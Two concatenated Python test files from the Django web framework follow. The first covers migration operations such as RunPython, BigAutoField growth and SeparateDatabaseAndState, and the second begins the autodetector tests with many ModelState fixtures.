        self.assertEqual(sorted(definition[2]), ["atomic", "code"])

    def test_run_python_related_assignment(self):
        """
        #24282 - Tests that model changes to a FK reverse side update the model
        on the FK side as well.
        """

        def inner_method(models, schema_editor):
            Author = models.get_model("test_authors", "Author")
            Book = models.get_model("test_books", "Book")
            author = Author.objects.create(name="Hemingway")
            Book.objects.create(title="Old Man and The Sea", author=author)

        create_author = migrations.CreateModel(
            "Author",
            [
                ("id", models.AutoField(primary_key=True)),
                ("name", models.CharField(max_length=100)),
            ],
            options={},
        )
        create_book = migrations.CreateModel(
            "Book",
            [
                ("id", models.AutoField(primary_key=True)),
                ("title", models.CharField(max_length=100)),
                ("author", models.ForeignKey("test_authors.Author", models.CASCADE))
            ],
            options={},
        )
        add_hometown = migrations.AddField(
            "Author",
            "hometown",
            models.CharField(max_length=100),
        )
        create_old_man = migrations.RunPython(inner_method, inner_method)

        project_state = ProjectState()
        new_state = project_state.clone()
        with connection.schema_editor() as editor:
            create_author.state_forwards("test_authors", new_state)
            create_author.database_forwards("test_authors", editor, project_state, new_state)
        project_state = new_state
        new_state = new_state.clone()
        with connection.schema_editor() as editor:
            create_book.state_forwards("test_books", new_state)
            create_book.database_forwards("test_books", editor, project_state, new_state)
        project_state = new_state
        new_state = new_state.clone()
        with connection.schema_editor() as editor:
            add_hometown.state_forwards("test_authors", new_state)
            add_hometown.database_forwards("test_authors", editor, project_state, new_state)
        project_state = new_state
        new_state = new_state.clone()
        with connection.schema_editor() as editor:
            create_old_man.state_forwards("test_books", new_state)
            create_old_man.database_forwards("test_books", editor, project_state, new_state)

    def test_model_with_bigautofield(self):
        """
        A model with BigAutoField can be created.
        """
        def create_data(models, schema_editor):
            Author = models.get_model("test_author", "Author")
            Book = models.get_model("test_book", "Book")
            author1 = Author.objects.create(name="Hemingway")
            Book.objects.create(title="Old Man and The Sea", author=author1)
            Book.objects.create(id=2 ** 33, title="A farewell to arms", author=author1)

            author2 = Author.objects.create(id=2 ** 33, name="Remarque")
            Book.objects.create(title="All quiet on the western front", author=author2)
            Book.objects.create(title="Arc de Triomphe", author=author2)

        create_author = migrations.CreateModel(
            "Author",
            [
                ("id", models.BigAutoField(primary_key=True)),
                ("name", models.CharField(max_length=100)),
            ],
            options={},
        )
        create_book = migrations.CreateModel(
            "Book",
            [
                ("id", models.BigAutoField(primary_key=True)),
                ("title", models.CharField(max_length=100)),
                ("author", models.ForeignKey(to="test_author.Author", on_delete=models.CASCADE))
            ],
            options={},
        )
        fill_data = migrations.RunPython(create_data)

        project_state = ProjectState()
        new_state = project_state.clone()
        with connection.schema_editor() as editor:
            create_author.state_forwards("test_author", new_state)
            create_author.database_forwards("test_author", editor, project_state, new_state)

        project_state = new_state
        new_state = new_state.clone()
        with connection.schema_editor() as editor:
            create_book.state_forwards("test_book", new_state)
            create_book.database_forwards("test_book", editor, project_state, new_state)

        project_state = new_state
        new_state = new_state.clone()
        with connection.schema_editor() as editor:
            fill_data.state_forwards("fill_data", new_state)
            fill_data.database_forwards("fill_data", editor, project_state, new_state)

    def test_autofield_foreignfield_growth(self):
        """
        A field may be migrated from AutoField to BigAutoField.
        """
        def create_initial_data(models, schema_editor):
            Article = models.get_model("test_article", "Article")
            Blog = models.get_model("test_blog", "Blog")
            blog = Blog.objects.create(name="web development done right")
            Article.objects.create(name="Frameworks", blog=blog)
            Article.objects.create(name="Programming Languages", blog=blog)

        def create_big_data(models, schema_editor):
            Article = models.get_model("test_article", "Article")
            Blog = models.get_model("test_blog", "Blog")
            blog2 = Blog.objects.create(name="Frameworks", id=2 ** 33)
            Article.objects.create(name="Django", blog=blog2)
            Article.objects.create(id=2 ** 33, name="Django2", blog=blog2)

        create_blog = migrations.CreateModel(
            "Blog",
            [
                ("id", models.AutoField(primary_key=True)),
                ("name", models.CharField(max_length=100)),
            ],
            options={},
        )
        create_article = migrations.CreateModel(
            "Article",
            [
                ("id", models.AutoField(primary_key=True)),
                ("blog", models.ForeignKey(to="test_blog.Blog", on_delete=models.CASCADE)),
                ("name", models.CharField(max_length=100)),
                ("data", models.TextField(default="")),
            ],
            options={},
        )
        fill_initial_data = migrations.RunPython(create_initial_data, create_initial_data)
        fill_big_data = migrations.RunPython(create_big_data, create_big_data)

        grow_article_id = migrations.AlterField("Article", "id", models.BigAutoField(primary_key=True))
        grow_blog_id = migrations.AlterField("Blog", "id", models.BigAutoField(primary_key=True))

        project_state = ProjectState()
        new_state = project_state.clone()
        with connection.schema_editor() as editor:
            create_blog.state_forwards("test_blog", new_state)
            create_blog.database_forwards("test_blog", editor, project_state, new_state)

        project_state = new_state
        new_state = new_state.clone()
        with connection.schema_editor() as editor:
            create_article.state_forwards("test_article", new_state)
            create_article.database_forwards("test_article", editor, project_state, new_state)

        project_state = new_state
        new_state = new_state.clone()
        with connection.schema_editor() as editor:
            fill_initial_data.state_forwards("fill_initial_data", new_state)
            fill_initial_data.database_forwards("fill_initial_data", editor, project_state, new_state)

        project_state = new_state
        new_state = new_state.clone()
        with connection.schema_editor() as editor:
            grow_article_id.state_forwards("test_article", new_state)
            grow_article_id.database_forwards("test_article", editor, project_state, new_state)

        state = new_state.clone()
        article = state.apps.get_model("test_article.Article")
        self.assertIsInstance(article._meta.pk, models.BigAutoField)

        project_state = new_state
        new_state = new_state.clone()
        with connection.schema_editor() as editor:
            grow_blog_id.state_forwards("test_blog", new_state)
            grow_blog_id.database_forwards("test_blog", editor, project_state, new_state)

        state = new_state.clone()
        blog = state.apps.get_model("test_blog.Blog")
        self.assertIsInstance(blog._meta.pk, models.BigAutoField)

        project_state = new_state
        new_state = new_state.clone()
        with connection.schema_editor() as editor:
            fill_big_data.state_forwards("fill_big_data", new_state)
            fill_big_data.database_forwards("fill_big_data", editor, project_state, new_state)

    def test_run_python_noop(self):
        """
        #24098 - Tests no-op RunPython operations.
        """
        project_state = ProjectState()
        new_state = project_state.clone()
        operation = migrations.RunPython(migrations.RunPython.noop, migrations.RunPython.noop)
        with connection.schema_editor() as editor:
            operation.database_forwards("test_runpython", editor, project_state, new_state)
            operation.database_backwards("test_runpython", editor, new_state, project_state)

    @unittest.skipIf(sqlparse is None and connection.features.requires_sqlparse_for_splitting, "Missing sqlparse")
    def test_separate_database_and_state(self):
        """
        Tests the SeparateDatabaseAndState operation.
        """
        project_state = self.set_up_test_model("test_separatedatabaseandstate")
        # Create the operation
        database_operation = migrations.RunSQL(
            "CREATE TABLE i_love_ponies (id int, special_thing int);",
            "DROP TABLE i_love_ponies;"
        )
        state_operation = migrations.CreateModel("SomethingElse", [("id", models.AutoField(primary_key=True))])
        operation = migrations.SeparateDatabaseAndState(
            state_operations=[state_operation],
            database_operations=[database_operation]
        )
        self.assertEqual(operation.describe(), "Custom state/database change combination")
        # Test the state alteration
        new_state = project_state.clone()
        operation.state_forwards("test_separatedatabaseandstate", new_state)
        self.assertEqual(len(new_state.models["test_separatedatabaseandstate", "somethingelse"].fields), 1)
        # Make sure there's no table
        self.assertTableNotExists("i_love_ponies")
        # Test the database alteration
        with connection.schema_editor() as editor:
            operation.database_forwards("test_separatedatabaseandstate", editor, project_state, new_state)
        self.assertTableExists("i_love_ponies")
        # And test reversal
        self.assertTrue(operation.reversible)
        with connection.schema_editor() as editor:
            operation.database_backwards("test_separatedatabaseandstate", editor, new_state, project_state)
        self.assertTableNotExists("i_love_ponies")
        # And deconstruction
        definition = operation.deconstruct()
        self.assertEqual(definition[0], "SeparateDatabaseAndState")
        self.assertEqual(definition[1], [])
        self.assertEqual(sorted(definition[2]), ["database_operations", "state_operations"])

    def test_separate_database_and_state2(self):
        """
        A complex SeparateDatabaseAndState operation: Multiple operations both
        for state and database. Verify the state dependencies within each list
        and that state ops don't affect the database.
        """
        app_label = "test_separatedatabaseandstate2"
        project_state = self.set_up_test_model(app_label)
        # Create the operation
        database_operations = [
            migrations.CreateModel(
                "ILovePonies",
                [("id", models.AutoField(primary_key=True))],
                options={"db_table": "iloveponies"},
            ),
            migrations.CreateModel(
                "ILoveMorePonies",
                # We use IntegerField and not AutoField because
                # the model is going to be deleted immediately
                # and with an AutoField this fails on Oracle
                [("id", models.IntegerField(primary_key=True))],
                options={"db_table": "ilovemoreponies"},
            ),
            migrations.DeleteModel("ILoveMorePonies"),
            migrations.CreateModel(
                "ILoveEvenMorePonies",
                [("id", models.AutoField(primary_key=True))],
                options={"db_table": "iloveevenmoreponies"},
            ),
        ]
        state_operations = [
            migrations.CreateModel(
                "SomethingElse",
                [("id", models.AutoField(primary_key=True))],
                options={"db_table": "somethingelse"},
            ),
            migrations.DeleteModel("SomethingElse"),
            migrations.CreateModel(
                "SomethingCompletelyDifferent",
                [("id", models.AutoField(primary_key=True))],
                options={"db_table": "somethingcompletelydifferent"},
            ),
        ]
        operation = migrations.SeparateDatabaseAndState(
            state_operations=state_operations,
            database_operations=database_operations,
        )
        # Test the state alteration
        new_state = project_state.clone()
        operation.state_forwards(app_label, new_state)

        def assertModelsAndTables(after_db):
            # Check that tables and models exist, or don't, as they should:
            self.assertNotIn((app_label, "somethingelse"), new_state.models)
            self.assertEqual(len(new_state.models[app_label, "somethingcompletelydifferent"].fields), 1)
            self.assertNotIn((app_label, "iloveponiesonies"), new_state.models)
            self.assertNotIn((app_label, "ilovemoreponies"), new_state.models)
            self.assertNotIn((app_label, "iloveevenmoreponies"), new_state.models)
            self.assertTableNotExists("somethingelse")
            self.assertTableNotExists("somethingcompletelydifferent")
            self.assertTableNotExists("ilovemoreponies")
            if after_db:
                self.assertTableExists("iloveponies")
                self.assertTableExists("iloveevenmoreponies")
            else:
                self.assertTableNotExists("iloveponies")
                self.assertTableNotExists("iloveevenmoreponies")

        assertModelsAndTables(after_db=False)
        # Test the database alteration
        with connection.schema_editor() as editor:
            operation.database_forwards(app_label, editor, project_state, new_state)
        assertModelsAndTables(after_db=True)
        # And test reversal
        self.assertTrue(operation.reversible)
        with connection.schema_editor() as editor:
            operation.database_backwards(app_label, editor, new_state, project_state)
        assertModelsAndTables(after_db=False)


class SwappableOperationTests(OperationTestBase):
    """
    Tests that key operations ignore swappable models
    (we don't want to replicate all of them here, as the functionality
    is in a common base class anyway)
    """

    available_apps = [
        "migrations",
        "django.contrib.auth",
        "django.contrib.contenttypes",
    ]

    @override_settings(TEST_SWAP_MODEL="migrations.SomeFakeModel")
    def test_create_ignore_swapped(self):
        """
        Tests that the CreateTable operation ignores swapped models.
        """
        operation = migrations.CreateModel(
            "Pony",
            [
                ("id", models.AutoField(primary_key=True)),
                ("pink", models.IntegerField(default=1)),
            ],
            options={
                "swappable": "TEST_SWAP_MODEL",
            },
        )
        # Test the state alteration (it should still be there!)
        project_state = ProjectState()
        new_state = project_state.clone()
        operation.state_forwards("test_crigsw", new_state)
        self.assertEqual(new_state.models["test_crigsw", "pony"].name, "Pony")
        self.assertEqual(len(new_state.models["test_crigsw", "pony"].fields), 2)
        # Test the database alteration
        self.assertTableNotExists("test_crigsw_pony")
        with connection.schema_editor() as editor:
            operation.database_forwards("test_crigsw", editor, project_state, new_state)
        self.assertTableNotExists("test_crigsw_pony")
        # And test reversal
        with connection.schema_editor() as editor:
            operation.database_backwards("test_crigsw", editor, new_state, project_state)
        self.assertTableNotExists("test_crigsw_pony")

    @override_settings(TEST_SWAP_MODEL="migrations.SomeFakeModel")
    def test_delete_ignore_swapped(self):
        """
        Tests the DeleteModel operation ignores swapped models.
        """
        operation = migrations.DeleteModel("Pony")
        project_state, new_state = self.make_test_state("test_dligsw", operation)
        # Test the database alteration
        self.assertTableNotExists("test_dligsw_pony")
        with connection.schema_editor() as editor:
            operation.database_forwards("test_dligsw", editor, project_state, new_state)
        self.assertTableNotExists("test_dligsw_pony")
        # And test reversal
        with connection.schema_editor() as editor:
            operation.database_backwards("test_dligsw", editor, new_state, project_state)
        self.assertTableNotExists("test_dligsw_pony")

    @override_settings(TEST_SWAP_MODEL="migrations.SomeFakeModel")
    def test_add_field_ignore_swapped(self):
        """
        Tests the AddField operation.
        """
        # Test the state alteration
        operation = migrations.AddField(
            "Pony",
            "height",
            models.FloatField(null=True, default=5),
        )
        project_state, new_state = self.make_test_state("test_adfligsw", operation)
        # Test the database alteration
        self.assertTableNotExists("test_adfligsw_pony")
        with connection.schema_editor() as editor:
            operation.database_forwards("test_adfligsw", editor, project_state, new_state)
        self.assertTableNotExists("test_adfligsw_pony")
        # And test reversal
        with connection.schema_editor() as editor:
            operation.database_backwards("test_adfligsw", editor, new_state, project_state)
        self.assertTableNotExists("test_adfligsw_pony")

    @override_settings(TEST_SWAP_MODEL='migrations.SomeFakeModel')
    def test_indexes_ignore_swapped(self):
        """
        Add/RemoveIndex operations ignore swapped models.
        """
        operation = migrations.AddIndex('Pony', models.Index(fields=['pink'], name='my_name_idx'))
        project_state, new_state = self.make_test_state('test_adinigsw', operation)
        with connection.schema_editor() as editor:
            # No database queries should be run for swapped models
            operation.database_forwards('test_adinigsw', editor, project_state, new_state)
            operation.database_backwards('test_adinigsw', editor, new_state, project_state)

        operation = migrations.RemoveIndex('Pony', models.Index(fields=['pink'], name='my_name_idx'))
        project_state, new_state = self.make_test_state("test_rminigsw", operation)
        with connection.schema_editor() as editor:
            operation.database_forwards('test_rminigsw', editor, project_state, new_state)
            operation.database_backwards('test_rminigsw', editor, new_state, project_state)






# -*- coding: utf-8 -*-
import functools
import re

from django.apps import apps
from django.conf import settings
from django.contrib.auth.models import AbstractBaseUser
from django.core.validators import RegexValidator, validate_slug
from django.db import connection, models
from django.db.migrations.autodetector import MigrationAutodetector
from django.db.migrations.graph import MigrationGraph
from django.db.migrations.loader import MigrationLoader
from django.db.migrations.questioner import MigrationQuestioner
from django.db.migrations.state import ModelState, ProjectState
from django.test import TestCase, mock, override_settings
from django.test.utils import isolate_lru_cache

from .models import FoodManager, FoodQuerySet


class DeconstructibleObject(object):
    """
    A custom deconstructible object.
    """

    def __init__(self, *args, **kwargs):
        self.args = args
        self.kwargs = kwargs

    def deconstruct(self):
        return (
            self.__module__ + '.' + self.__class__.__name__,
            self.args,
            self.kwargs
        )


class AutodetectorTests(TestCase):
    """
    Tests the migration autodetector.
    """

    author_empty = ModelState("testapp", "Author", [("id", models.AutoField(primary_key=True))])
    author_name = ModelState("testapp", "Author", [
        ("id", models.AutoField(primary_key=True)),
        ("name", models.CharField(max_length=200)),
    ])
    author_name_null = ModelState("testapp", "Author", [
        ("id", models.AutoField(primary_key=True)),
        ("name", models.CharField(max_length=200, null=True)),
    ])
    author_name_longer = ModelState("testapp", "Author", [
        ("id", models.AutoField(primary_key=True)),
        ("name", models.CharField(max_length=400)),
    ])
    author_name_renamed = ModelState("testapp", "Author", [
        ("id", models.AutoField(primary_key=True)),
        ("names", models.CharField(max_length=200)),
    ])
    author_name_default = ModelState("testapp", "Author", [
        ("id", models.AutoField(primary_key=True)),
        ("name", models.CharField(max_length=200, default='Ada Lovelace')),
    ])
    author_dates_of_birth_auto_now = ModelState("testapp", "Author", [
        ("id", models.AutoField(primary_key=True)),
        ("date_of_birth", models.DateField(auto_now=True)),
        ("date_time_of_birth", models.DateTimeField(auto_now=True)),
        ("time_of_birth", models.TimeField(auto_now=True)),
    ])
    author_dates_of_birth_auto_now_add = ModelState("testapp", "Author", [
        ("id", models.AutoField(primary_key=True)),
        ("date_of_birth", models.DateField(auto_now_add=True)),
        ("date_time_of_birth", models.DateTimeField(auto_now_add=True)),
        ("time_of_birth", models.TimeField(auto_now_add=True)),
    ])
    author_name_deconstructible_1 = ModelState("testapp", "Author", [
        ("id", models.AutoField(primary_key=True)),
        ("name", models.CharField(max_length=200, default=DeconstructibleObject())),
    ])
    author_name_deconstructible_2 = ModelState("testapp", "Author", [
        ("id", models.AutoField(primary_key=True)),
        ("name", models.CharField(max_length=200, default=DeconstructibleObject())),
    ])
    author_name_deconstructible_3 = ModelState("testapp", "Author", [
        ("id", models.AutoField(primary_key=True)),
        ("name", models.CharField(max_length=200, default=models.IntegerField())),
    ])
    author_name_deconstructible_4 = ModelState("testapp", "Author", [
        ("id", models.AutoField(primary_key=True)),
        ("name", models.CharField(max_length=200, default=models.IntegerField())),
    ])
    author_name_deconstructible_list_1 = ModelState("testapp", "Author", [
        ("id", models.AutoField(primary_key=True)),
        ("name", models.CharField(max_length=200, default=[DeconstructibleObject(), 123])),
    ])
    author_name_deconstructible_list_2 = ModelState("testapp", "Author", [
        ("id", models.AutoField(primary_key=True)),
        ("name", models.CharField(max_length=200, default=[DeconstructibleObject(), 123])),
    ])
    author_name_deconstructible_list_3 = ModelState("testapp", "Author", [
        ("id", models.AutoField(primary_key=True)),
        ("name", models.CharField(max_length=200, default=[DeconstructibleObject(), 999])),
    ])
    author_name_deconstructible_tuple_1 = ModelState("testapp", "Author", [
        ("id", models.AutoField(primary_key=True)),
        ("name", models.CharField(max_length=200, default=(DeconstructibleObject(), 123))),
    ])
    author_name_deconstructible_tuple_2 = ModelState("testapp", "Author", [
        ("id", models.AutoField(primary_key=True)),
        ("name", models.CharField(max_length=200, default=(DeconstructibleObject(), 123))),
    ])
    author_name_deconstructible_tuple_3 = ModelState("testapp", "Author", [
        ("id", models.AutoField(primary_key=True)),
        ("name", models.CharField(max_length=200, default=(DeconstructibleObject(), 999))),
    ])
    author_name_deconstructible_dict_1 = ModelState("testapp", "Author", [
        ("id", models.AutoField(primary_key=True)),
        ("name", models.CharField(max_length=200, default={
            'item': DeconstructibleObject(), 'otheritem': 123
        })),
    ])
    author_name_deconstructible_dict_2 = ModelState("testapp", "Author", [
        ("id", models.AutoField(primary_key=True)),
        ("name", models.CharField(max_length=200, default={
            'item': DeconstructibleObject(), 'otheritem': 123
        })),
    ])
    author_name_deconstructible_dict_3 = ModelState("testapp", "Author", [
        ("id", models.AutoField(primary_key=True)),
        ("name", models.CharField(max_length=200, default={
            'item': DeconstructibleObject(), 'otheritem': 999
        })),
    ])
    author_name_nested_deconstructible_1 = ModelState("testapp", "Author", [
        ("id", models.AutoField(primary_key=True)),
        ("name", models.CharField(max_length=200, default=DeconstructibleObject(
            DeconstructibleObject(1),
            (DeconstructibleObject('t1'), DeconstructibleObject('t2'),),
            a=DeconstructibleObject('A'),
            b=DeconstructibleObject(B=DeconstructibleObject('c')),
        ))),
    ])
    author_name_nested_deconstructible_2 = ModelState("testapp", "Author", [
        ("id", models.AutoField(primary_key=True)),
        ("name", models.CharField(max_length=200, default=DeconstructibleObject(
            DeconstructibleObject(1),
            (DeconstructibleObject('t1'), DeconstructibleObject('t2'),),
            a=DeconstructibleObject('A'),
            b=DeconstructibleObject(B=DeconstructibleObject('c')),
        ))),
    ])
    author_name_nested_deconstructible_changed_arg = ModelState("testapp", "Author", [
        ("id", models.AutoField(primary_key=True)),
        ("name", models.CharField(max_length=200, default=DeconstructibleObject(
            DeconstructibleObject(1),
            (DeconstructibleObject('t1'), DeconstructibleObject('t2-changed'),),
            a=DeconstructibleObject('A'),
            b=DeconstructibleObject(B=DeconstructibleObject('c')),
        ))),
    ])
    author_name_nested_deconstructible_extra_arg = ModelState("testapp", "Author", [
        ("id", models.AutoField(primary_key=True)),
        ("name", models.CharField(max_length=200, default=DeconstructibleObject(
            DeconstructibleObject(1),
            (DeconstructibleObject('t1'), DeconstructibleObject('t2'),),
            None,
            a=DeconstructibleObject('A'),
            b=DeconstructibleObject(B=DeconstructibleObject('c')),
        ))),
    ])
    author_name_nested_deconstructible_changed_kwarg = ModelState("testapp", "Author", [
        ("id", models.AutoField(primary_key=True)),
        ("name", models.CharField(max_length=200, default=DeconstructibleObject(
            DeconstructibleObject(1),
            (DeconstructibleObject('t1'), DeconstructibleObject('t2'),),
            a=DeconstructibleObject('A'),
            b=DeconstructibleObject(B=DeconstructibleObject('c-changed')),
        ))),
    ])
    author_name_nested_deconstructible_extra_kwarg = ModelState("testapp", "Author", [
        ("id", models.AutoField(primary_key=True)),
        ("name", models.CharField(max_length=200, default=DeconstructibleObject(
            DeconstructibleObject(1),
            (DeconstructibleObject('t1'), DeconstructibleObject('t2'),),
            a=DeconstructibleObject('A'),
            b=DeconstructibleObject(B=DeconstructibleObject('c')),
            c=None,
        ))),
    ])
    author_custom_pk = ModelState("testapp", "Author", [("pk_field", models.IntegerField(primary_key=True))])
    author_with_biography_non_blank = ModelState("testapp", "Author", [
        ("id", models.AutoField(primary_key=True)),
        ("name", models.CharField()),
        ("biography", models.TextField()),
    ])
    author_with_biography_blank = ModelState("testapp", "Author", [
        ("id", models.AutoField(primary_key=True)),
        ("name", models.CharField(blank=True)),
        ("biography", models.TextField(blank=True)),
    ])
    author_with_book = ModelState("testapp", "Author", [
        ("id", models.AutoField(primary_key=True)),
        ("name", models.CharField(max_length=200)),
        ("book", models.ForeignKey("otherapp.Book", models.CASCADE)),
    ])
    author_with_book_order_wrt = ModelState("testapp", "Author", [
        ("id", models.AutoField(primary_key=True)),
        ("name", models.CharField(max_length=200)),
        ("book", models.ForeignKey("otherapp.Book", models.CASCADE)),
    ], options={"order_with_respect_to": "book"})
    author_renamed_with_book = ModelState("testapp", "Writer", [
        ("id", models.AutoField(primary_key=True)),
        ("name", models.CharField(max_length=200)),
        ("book", models.ForeignKey("otherapp.Book", models.CASCADE)),
    ])
    author_with_publisher_string = ModelState("testapp", "Author", [
        ("id", models.AutoField(primary_key=True)),
        ("name", models.CharField(max_length=200)),
        ("publisher_name", models.CharField(max_length=200)),
    ])
    author_with_publisher = ModelState("testapp", "Author", [
        ("id", models.AutoField(primary_key=True)),
        ("name", models.CharField(max_length=200)),
        ("publisher", models.ForeignKey("testapp.Publisher", models.CASCADE)),
    ])
    author_with_user = ModelState("testapp", "Author", [
        ("id", models.AutoField(primary_key=True)),
        ("name", models.CharField(max_length=200)),
        ("user", models.ForeignKey("auth.User", models.CASCADE)),
    ])
    author_with_custom_user = ModelState("testapp", "Author", [
        ("id", models.AutoField(primary_key=True)),
        ("name", models.CharField(max_length=200)),
        ("user", models.ForeignKey("thirdapp.CustomUser", models.CASCADE)),
    ])
    author_proxy = ModelState("testapp", "AuthorProxy", [], {"proxy": True}, ("testapp.author",))
    author_proxy_options = ModelState("testapp", "AuthorProxy", [], {
        "proxy": True,
        "verbose_name": "Super Author",
    }, ("testapp.author", ))
    author_proxy_notproxy = ModelState("testapp", "AuthorProxy", [], {}, ("testapp.author", ))
    author_proxy_third = ModelState("thirdapp", "AuthorProxy", [], {"proxy": True}, ("testapp.author", ))
    author_proxy_third_notproxy = ModelState("thirdapp", "AuthorProxy", [], {}, ("testapp.author", ))
    author_proxy_proxy = ModelState("testapp", "AAuthorProxyProxy", [], {"proxy": True}, ("testapp.authorproxy", ))
    author_unmanaged = ModelState("testapp", "AuthorUnmanaged", [], {"managed": False}, ("testapp.author", ))
    author_unmanaged_managed = ModelState("testapp", "AuthorUnmanaged", [], {}, ("testapp.author", ))
    author_unmanaged_default_pk = ModelState("testapp", "Author", [("id", models.AutoField(primary_key=True))])
    author_unmanaged_custom_pk = ModelState("testapp", "Author", [
        ("pk_field", models.IntegerField(primary_key=True)),
    ])
    author_with_m2m = ModelState("testapp", "Author", [
        ("id", models.AutoField(primary_key=True)),
        ("publishers", models.ManyToManyField("testapp.Publisher")),
    ])
    author_with_m2m_blank = ModelState("testapp", "Author", [
        ("id", models.AutoField(primary_key=True)),
        ("publishers", models.ManyToManyField("testapp.Publisher", blank=True)),
    ])
    author_with_m2m_through = ModelState("testapp", "Author", [
        ("id", models.AutoField(primary_key=True)),
        ("publishers", models.ManyToManyField("testapp.Publisher", through="testapp.Contract")),
    ])
    author_with_renamed_m2m_through = ModelState("testapp", "Author", [
        ("id", models.AutoField(primary_key=True)),
        ("publishers", models.ManyToManyField("testapp.Publisher", through="testapp.Deal")),
    ])
    author_with_former_m2m = ModelState("testapp", "Author", [
        ("id", models.AutoField(primary_key=True)),
        ("publishers", models.CharField(max_length=100)),
    ])
    author_with_options = ModelState("testapp", "Author", [
        ("id", models.AutoField(primary_key=True)),
    ], {
        "permissions": [('can_hire', 'Can hire')],
        "verbose_name": "Authi",
    })
    author_with_db_table_options = ModelState("testapp", "Author", [
        ("id", models.AutoField(primary_key=True)),
    ], {"db_table": "author_one"})
    author_with_new_db_table_options = ModelState("testapp", "Author", [
        ("id", models.AutoField(primary_key=True)),
    ], {"db_table": "author_two"})
    author_renamed_with_db_table_options = ModelState("testapp", "NewAuthor", [
        ("id", models.AutoField(primary_key=True)),
    ], {"db_table": "author_one"})
    author_renamed_with_new_db_table_options = ModelState("testapp", "NewAuthor", [
        ("id", models.AutoField(primary_key=True)),
    ], {"db_table": "author_three"})
    contract = ModelState("testapp", "Contract", [
        ("id", models.AutoField(primary_key=True)),
        ("author", models.ForeignKey("testapp.Author", models.CASCADE)),
        ("publisher", models.ForeignKey("testapp.Publisher", models.CASCADE)),
    ])
    contract_renamed = ModelState("testapp", "Deal", [
        ("id", models.AutoField(primary_key=True)),
        ("author", models.ForeignKey("testapp.Author", models.CASCADE)),
        ("publisher", models.ForeignKey("testapp.Publisher", models.CASCADE)),
    ])
    publisher = ModelState("testapp", "Publisher", [
        ("id", models.AutoField(primary_key=True)),
        ("name", models.CharField(max_length=100)),
    ])
    publisher_with_author = ModelState("testapp", "Publisher", [
        ("id", models.AutoField(primary_key=True)),
        ("author", models.ForeignKey("testapp.Author", models.CASCADE)),
        ("name", models.CharField(max_length=100)),
    ])
    publisher_with_aardvark_author = ModelState("testapp", "Publisher", [
        ("id", models.AutoField(primary_key=True)),
        ("author", models.ForeignKey("testapp.Aardvark", models.CASCADE)),
        ("name", models.CharField(max_length=100)),
    ])
    publisher_with_book = ModelState("testapp", "Publisher", [
        ("id", models.AutoField(primary_key=True)),
        ("author", models.ForeignKey("otherapp.Book", models.CASCADE)),
        ("name", models.CharField(max_length=100)),
    ])
    other_pony = ModelState("otherapp", "Pony", [
        ("id", models.AutoField(primary_key=True)),
    ])
    other_pony_food = ModelState("otherapp", "Pony", [
        ("id", models.AutoField(primary_key=True)),
    ], managers=[
        ('food_qs', FoodQuerySet.as_manager()),
        ('food_mgr', FoodManager('a', 'b')),
        ('food_mgr_kwargs', FoodManager('x', 'y', 3, 4)),
    ])
    other_stable = ModelState("otherapp", "Stable", [("id", models.AutoField(primary_key=True))])
    third_thing = ModelState("thirdapp", "Thing", [("id", models.AutoField(primary_key=True))])
    book = ModelState("otherapp", "Book", [
        ("id", models.AutoField(primary_key=True)),
        ("author", models.ForeignKey("testapp.Author", models.CASCADE)),
        ("title", models.CharField(max_length=200)),
    ])
    book_proxy_fk = ModelState("otherapp", "Book", [
        ("id", models.AutoField(primary_key=True)),
        ("author", models.ForeignKey("thirdapp.AuthorProxy", models.CASCADE)),
        ("title", models.CharField(max_length=200)),
    ])
    book_proxy_proxy_fk = ModelState("otherapp", "Book", [
        ("id", models.AutoField(primary_key=True)),
        ("author", models.ForeignKey("testapp.AAuthorProxyProxy", models.CASCADE)),
    ])
    book_migrations_fk = ModelState("otherapp", "Book", [
        ("id", models.AutoField(primary_key=True)),
        ("author", models.ForeignKey("migrations.UnmigratedModel", models.CASCADE)),
        ("title", models.CharField(max_length=200)),
    ])
    book_with_no_author = ModelState("otherapp", "Book", [
        ("id", models.AutoField(primary_key=True)),
        ("title", models.CharField(max_length=200)),
    ])
    book_with_author_renamed = ModelState("otherapp", "Book", [
        ("id", models.AutoField(primary_key=True)),
        ("author", models.ForeignKey("testapp.Writer", models.CASCADE)),
        ("title", models.CharField(max_length=200)),
    ])
    book_with_field_and_author_renamed = ModelState("otherapp", "Book", [
        ("id", models.AutoField(primary_key=True)),
        ("writer", models.ForeignKey("testapp.Writer", models.CASCADE)),
        ("title", models.CharField(max_length=200)),
    ])
    book_with_multiple_authors = ModelState("otherapp", "Book", [
        ("id", models.AutoField(primary_key=True)),
        ("authors", models.ManyToManyField("testapp.Author")),
        ("title", models.CharField(max_length=200)),
    ])
    book_with_multiple_authors_through_attribution = ModelState("otherapp", "Book", [
        ("id", models.AutoField(primary_key=True)),
        ("authors", models.ManyToManyField("testapp.Author", through="otherapp.Attribution")),
        ("title", models.CharField(max_length=200)),
    ])
    book_indexes = ModelState("otherapp", "Book", [
        ("id", models.AutoField(primary_key=True)),
        ("author", models.ForeignKey("testapp.Author", models.CASCADE)),
        ("title", models.CharField(max_length=200)),
    ], {
        "indexes": [models.Index(fields=["author", "title"], name="book_title_author_idx")],
    })
    book_unordered_indexes = ModelState("otherapp", "Book", [
        ("id", models.AutoField(primary_key=True)),
        ("author", models.ForeignKey("testapp.Author", models.CASCADE)),
        ("title", models.CharField(max_length=200)),
    ], {
        "indexes": [models.Index(fields=["title", "author"], name="book_author_title_idx")],
    })
    book_foo_together = ModelState("otherapp", "Book", [
        ("id", models.AutoField(primary_key=True)),
        ("author", models.ForeignKey("testapp.Author", models.CASCADE)),
        ("title", models.CharField(max_length=200)),
    ], {
        "index_together": {("author", "title")},
        "unique_together": {("author", "title")},
    })
    book_foo_together_2 = ModelState("otherapp", "Book", [
        ("id", models.AutoField(primary_key=True)),
        ("author", models.ForeignKey("testapp.Author", models.CASCADE)),
        ("title", models.CharField(max_length=200)),
    ], {
        "index_together": {("title", "author")},
        "unique_together": {("title", "author")},
    })
    book_foo_together_3 = ModelState("otherapp", "Book", [
        ("id", models.AutoField(primary_key=True)),
        ("newfield", models.IntegerField()),
        ("author", models.ForeignKey("testapp.Author", models.CASCADE)),
        ("title", models.CharField(max_length=200)),
    ], {
        "index_together": {("title", "newfield")},
        "unique_together": {("title", "newfield")},
    })
    book_foo_together_4 = ModelState("otherapp", "Book", [
        ("id", models.AutoField(primary_key=True)),
        ("newfield2", models.IntegerField()),
        ("author", models.ForeignKey("testapp.Author", models.CASCADE)),
        ("title", models.CharField(max_length=200)),
    ], {
        "index_together": {("title", "newfield2")},
        "unique_together": {("title", "newfield2")},
    })
